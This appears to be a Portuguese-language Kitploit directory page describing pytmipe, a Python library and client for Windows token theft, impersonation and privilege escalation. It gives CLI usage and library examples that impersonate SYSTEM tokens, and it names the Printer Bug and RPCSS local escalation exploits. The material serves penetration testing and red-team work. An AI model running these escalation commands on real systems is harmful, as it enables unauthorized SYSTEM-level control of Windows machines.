Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
pytmipe — Biblioteca Python e cliente para manipulações de token e impersonações para elevação de privilégios no Windows | Kitploit
Ferramentas/GitHubGitHub/quentinhardy/pytmipe
Escalada de PrivilégiosFerramentas de ImpersonaçãoPós-ExploraçãoTestes de PenetraçãoRed Teaming
GitHubquentinhardy/pytmipe

pytmipe

Biblioteca Python e cliente para manipulações de token e impersonações para elevação de privilégios no Windows

Ver Repositório
1232324há 3 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

PYTMIPE & TMIPE

PYTMIPE (biblioteca Python para Manipulação de Tokens e Impersonação para Elevação de Privilégios) é uma biblioteca Python 3 para manipular tokens do Windows e gerenciar impersonações a fim de obter mais privilégios no Windows. TMIPE é o cliente Python 3 que utiliza a biblioteca pytmipe.

Conteúdo

  • Um cliente Python: tmipe (python3 tmipe.py)
  • Uma biblioteca Python: pytmipe. Útil para incluir este projeto em outro
  • Exemplos de pytinstaller, para obter executáveis autônomos

Documentação

  • Slides "Manipulação de Tokens do Windows, Impersonação e Elevação de Privilégios" (Inglês): link

  • Artigo no MISC 112 (Francês): link

Principais recursos

MétodoPrivilégio(s) Necessário(s)SO (não exaustivo)Alvo direto (máx.)
Criação e impersonação de tokennome de usuário & senhaTodosadministrador local
Impersonação/Roubo de tokenSeDebugPrivilegeTodosnt authority\system
Spoofing de PID pai (herança de handle)SeDebugPrivilege>= Vistant authority\system
Serviço (SCM)Administrador local (e nível de integridade alto se UAC ativado)Todosnt authority\system ou conta de domínio
Evento WMIAdministrador local (e nível de integridade alto se UAC ativado)Todosnt authority\system
« Printer Bug » LPESeImpersonatePrivilege (conta de serviço)Windows 8.1, 10 & Server 2012R2/2016/2019nt authority\system
RPCSS Service LPESeImpersonatePrivilege (conta de serviço)Windows 10 & Server 2016/2019nt authority\system

Capacidades

A lista não exaustiva a seguir mostra alguns recursos implementados na biblioteca pytmipe:

  • Gerenciamento de tokens e privilégios:
    • obter, ativar ou desativar privilégio(s) no token para thread atual ou remota
    • obter informações de token local ou remoto
    • obter token efetivo para thread atual (token de impersonação ou primário)
  • obter muitas informações sobre token(s) selecionado(s):
    • tipo de elevação, tipo de impersonação, token vinculado com detalhes, SID, ACLs, grupos padrão, grupo primário, proprietário, privilégios, origem
    • etc
  • Listar todos os tokens acessíveis (tokens primários e de impersonação) a partir da thread atual:
    • 2 métodos diferentes implementados: método "thread" e método "handle" (favorito)
    • verificar se o token pode ser impersonado
    • obter informações sobre cada token (tipo de elevação, tipo de impersonação, token vinculado, SID, etc)
    • obter todos os tokens acessíveis por nome de conta (SID)
  • Impersonar um token ou usuário:
    • Criar Token e Impersonar (requer credenciais do usuário)
    • Impersonação/Roubo de token (privilégios específicos são necessários): impersonar um token escolhido
    • Criar Processo com um token (privilégios específicos são necessários): impersonar um token escolhido e criar novo processo
    • Impersonar o primeiro token nt authority\system encontrado
    • impersonar token primário de processo remoto com pid
  • Métodos de elevação:
    • Spoofing de PID pai - Herança de Handle
    • Gerenciador de Serviços via comando direto ou impersonação de pipe nomeado: administrador local para nt authority\system (ou outra conta privilegiada)
    • Agendador de Tarefas via comando direto ou impersonação de pipe nomeado: administrador local para nt authority\system
    • Job WMI via comando direto ou impersonação de pipe nomeado: administrador local para nt authority\system
    • Printer Bug: SeImpersonatePrivilege para nt authority\system
    • RPCSS: SeImpersonatePrivilege para nt authority\system
    • Reativar privilégios via agendamento de tarefas e impersonação de pipe nomeado

Dependências

ctypes é usado na maioria das vezes. Muitos recursos do pywin32 foram re-desenvolvidos no pytmipe para evitar o uso de pywin32 para melhor portabilidade. No entanto, o módulo do Agendador de Tarefas ainda utiliza pywin32 (mais precisamente pythoncom) por falta de tempo. Todos os outros módulos usam apenas ctypes.

COMO USAR

Para o cliente Python (chamado tmipe):

root@kitploit:~
python.exe tmipe.py -h
usage: tmipe.py [-h] [--version]
                {cangetadmin,printalltokens,printalltokensbyname,printalltokensbypid,printsystemtokens,searchimpfirstsystem,imppid,imptoken,printerbug,rpcss,spoof,impuser,runas,scm}
                ...

                      **
    888888  8b    d8  88  88""Yb  888888
      88    88b  d88  88  88__dP  88__
      88    88YbdP88  88  88"""   88""
      88    88 YY 88  88  88      888888
-------------------------------------------
Token Manipulation, Impersonation and
     Privilege Escalation (Tool)
-------------------------------------------
By Quentin HARDY ([email protected])

positional arguments:
  {cangetadmin,printalltokens,printalltokensbyname,printalltokensbypid,printsystemtokens,searchimpfirstsystem,imppid,imptoken,printerbug,rpcss,spoof,impuser,runas,scm}

                         Choose a main command
    cangetadmin          Check if user can get admin access
    printalltokens       Print all tokens accessible from current thread
    printalltokensbyname
                         Print all tokens accessible from current thread by account name
    printalltokensbypid  Print all tokens accessible from current thread by pid
    printsystemtokens    Print all system tokens accessible from current
    searchimpfirstsystem
                         search and impersonate first system token
    imppid               impersonate primary token of selected pid and try to spawn cmd.exe
    imptoken             impersonate primary or impersonation token of selected pid/handle and try to spawn cmd.exe
    printerbug           exploit the "printer bug" for getting system shell
    rpcss                exploit "rpcss" for getting system shell
    spoof                parent PID Spoofing ("handle inheritance)"
    impuser              create process with creds with impersonation
    runas                create process with creds as runas
    scm                  create process with Service Control Manager

optional arguments:
  -h, --help             show this help message and exit
  --version              show program's version number and exit

Para a biblioteca Python (chamada pytmipe), veja o código-fonte e os exemplos. Normalmente, documentei bem o código-fonte... A maioria das funções está documentada.

Para exemplos de pyinstaller e executáveis autônomos, veja os arquivos na pasta src/examples/.

Exemplos

Se quiser saber como usar a biblioteca pytimpe, veja a pasta src/examples para muitos exemplos.

Exemplo 1: obter nt authority\system

Para impersonar o primeiro token system e obter um prompt cmd.exe como system a partir do cliente Python (tmipe):

root@kitploit:~
python.exe tmipe.py searchimpfirstsystem -vv

Para fazer a mesma coisa diretamente com a biblioteca pytmipe, veja o arquivo src/examples/searchAndImpersonateFirstSystemToken.py:

root@kitploit:~
from impersonate import Impersonate
from utils import configureLogging

configureLogging()
imp = Impersonate()
imp.searchAndImpersonateFirstSystemToken(targetPID=None, printAllTokens=False)

Isso abrirá um prompt cmd.exe como system se o usuário atual do Windows tiver os direitos necessários.

Claro, a partir deste código-fonte, você pode criar um executável autônomo com pyinstaller.

Exemplo 2: obter tokens

Para obter tokens primários e de impersonação usados no processo atual:

root@kitploit:~
python.exe tmipe.py printalltokens --current --full --linked

Saída:

root@kitploit:~
- PID: 3212
------------------------------
  - PID: 3212
  - type: Primary (1)
  - token: 764
  - hval: None
  - ihandle: None
  - sid: S-1-5-18
  - accountname: {'Name': 'SYSTEM', 'Domain': 'NT AUTHORITY', 'type': 1}
  - intlvl: System
  - owner: S-1-5-32-544
  - Groups:
    - S-1-5-32-544: {'Name': 'Administrators', 'Domain': 'BUILTIN', 'type': 4} (ENABLED, ENABLED_BY_DEFAULT, OWNER)
    - S-1-1-0: {'Name': 'Everyone', 'Domain': '', 'type': 5} (ENABLED, ENABLED_BY_DEFAULT, MANDATORY)
    - S-1-5-11: {'Name': 'Authenticated Users', 'Domain': 'NT AUTHORITY', 'type': 5} (ENABLED, ENABLED_BY_DEFAULT, MANDATORY)
    - S-1-16-16384: {'Name': 'System Mandatory Level', 'Domain': 'Mandatory Label', 'type': 10} (INTEGRITY_ENABLED, INTEGRITY)
  - Privileges (User Rights):
    - SeAssignPrimaryTokenPrivilege: Enabled
    [...]
    - SeTrustedCredManAccessPrivilege: Enabled
  - issystem: True
  - sessionID: 1
  - elevationtype: Default (1)
  - iselevated: True
  - Linked Token: None
  - tokensource: b'*SYSTEM*'
  - primarysidgroup: S-1-5-18
  - isrestricted: False
  - hasrestricitions: True
  - Default DACL:
    - {'ace_type': 'ALLOW', 'ace_flags': '', 'rights': '0x10000000', 'object_guid': '', 'inherit_object_guid': '', 'account_sid': 'S-1-5-18'}
    - {'ace_type': 'ALLOW', 'ace_flags': '', 'rights': '0xa0020000', 'object_guid': '', 'inherit_object_guid': '', 'account_sid': 'S-1-5-32-544'}
  [...]
  - Mandatory Policy: NO_WRITE_UP

Para obter todos os tokens acessíveis a partir da thread atual, organizados por pid, apenas quando a impersonação for possível:

root@kitploit:~
python.exe tmipe.py printalltokensbypid --imp-only

Saída:

root@kitploit:~
[...]
- PID 4276:
        - S-1-5-18: NT AUTHORITY\SYSTEM (possible imp: True)
- PID 7252:
        - None
- PID 1660:
        - S-1-5-21-28624056-3392308708-440876048-1106: DOMAIN\USER (possible imp: True)
        - S-1-5-20: NT AUTHORITY\NETWORK SERVICE (possible imp: True)
        - S-1-5-18: NT AUTHORITY\SYSTEM (possible imp: True)
        - S-1-5-90-0-1: Window Manager\DWM-1 (possible imp: True)
        - S-1-5-19: NT AUTHORITY\LOCAL SERVICE (possible imp: True)
[...]

Se quiser fazer esta operação com a biblioteca pytmipe, também é fácil:

root@kitploit:~
from impersonate import Impersonate
from utils import configureLogging

configureLogging()
imp = Impersonate()
imp.printAllTokensAccessible(targetPID=None, printFull=True, printLinked=True, _useThreadMethod=False)

Exemplo 3: impersonar token

Você pode impersonar um token selecionado.

Primeiro passo, obter todos os tokens de acordo com seus filtros (tokens system e tokens que podem ser impersonados pela thread atual):

root@kitploit:~
python.exe tmipe.py printalltokens --filter {\"sid\":\"S-1-5-18\",\"canimpersonate\":true}

Saída:

root@kitploit:~
[...]
- PID: 2288
------------------------------
  - PID: 2288
  - type: Impersonation (2)
  - token: 2504
  - ihandle: 118
  - sid: S-1-5-18
  - accountname: {'Name': 'SYSTEM', 'Domain': 'NT AUTHORITY', 'type': 1}
  - intlvl: System
  - owner: S-1-5-18
  - issystem: True
  - elevationtype: Default (1)
  - iselevated: True
  - linkedtoken: None
  - implevel: Impersonate (2)
  - appcontainertoken: False
  [...]
  - primarysidgroup: S-1-5-18
  - isrestricted: False
  - hasrestricitions: True
  - Mandatory Policy: VALID_MASK
  - canimpersonate: True
[...]

Esta saída anterior mostra um token de impersonação localizado no pid 2288 (ihandle 118), que tem um nível de integridade system. É possível impersonar este token específico com o seguinte comando:

root@kitploit:~
python.exe tmipe.py imptoken --pid 2288 --ihandle 118 -vv

Este comando anterior abre um cmd.exe como nt authority\system.

Isso pode ser feito com a biblioteca pytmipe também. O código-fonte a seguir impersona o primeiro token system disponível, imprime o token efetivo e para a impersonação:

root@kitploit:~
from impersonate import Impersonate
from windef import TokenImpersonation

allTokens = imp.getTokensAccessibleFilter(targetPID=None,
                                          filter={'canimpersonate':True, 'sid':'S-1-5-18', 'type':TokenImpersonation},
                                          _useThreadMethod=False)
if allTokens == {} or allTokens==None:
    print("No one token found for impersonation")
else:
    pid = list(allTokens.keys())[0] #use the first token of the first pid returned in 'allTokens'
    firstIHandle = allTokens[pid][0]['ihandle']
    imp.printThisToken(allTokens, pid, firstIHandle)
    imp.impersonateThisToken(pid=pid, iHandle=firstIHandle)
    print("Current Effective token for current thread after impersonation:")
    imp.printCurrentThreadEffectiveToken(printFull=False, printLinked=False)
    imp.terminateImpersonation()
    print("Current Effective token for current thread (impersonation finished):")
    imp.printCurrentThreadEffectiveToken(printFull=False, printLinked=False)

Doação

Se quiser apoiar meu trabalho com uma doação, agradecerei muito:

Via BTC: 36FugL6SnFrFfbVXRPcJATK9GsXEY6mJbf

Baixar ferramenta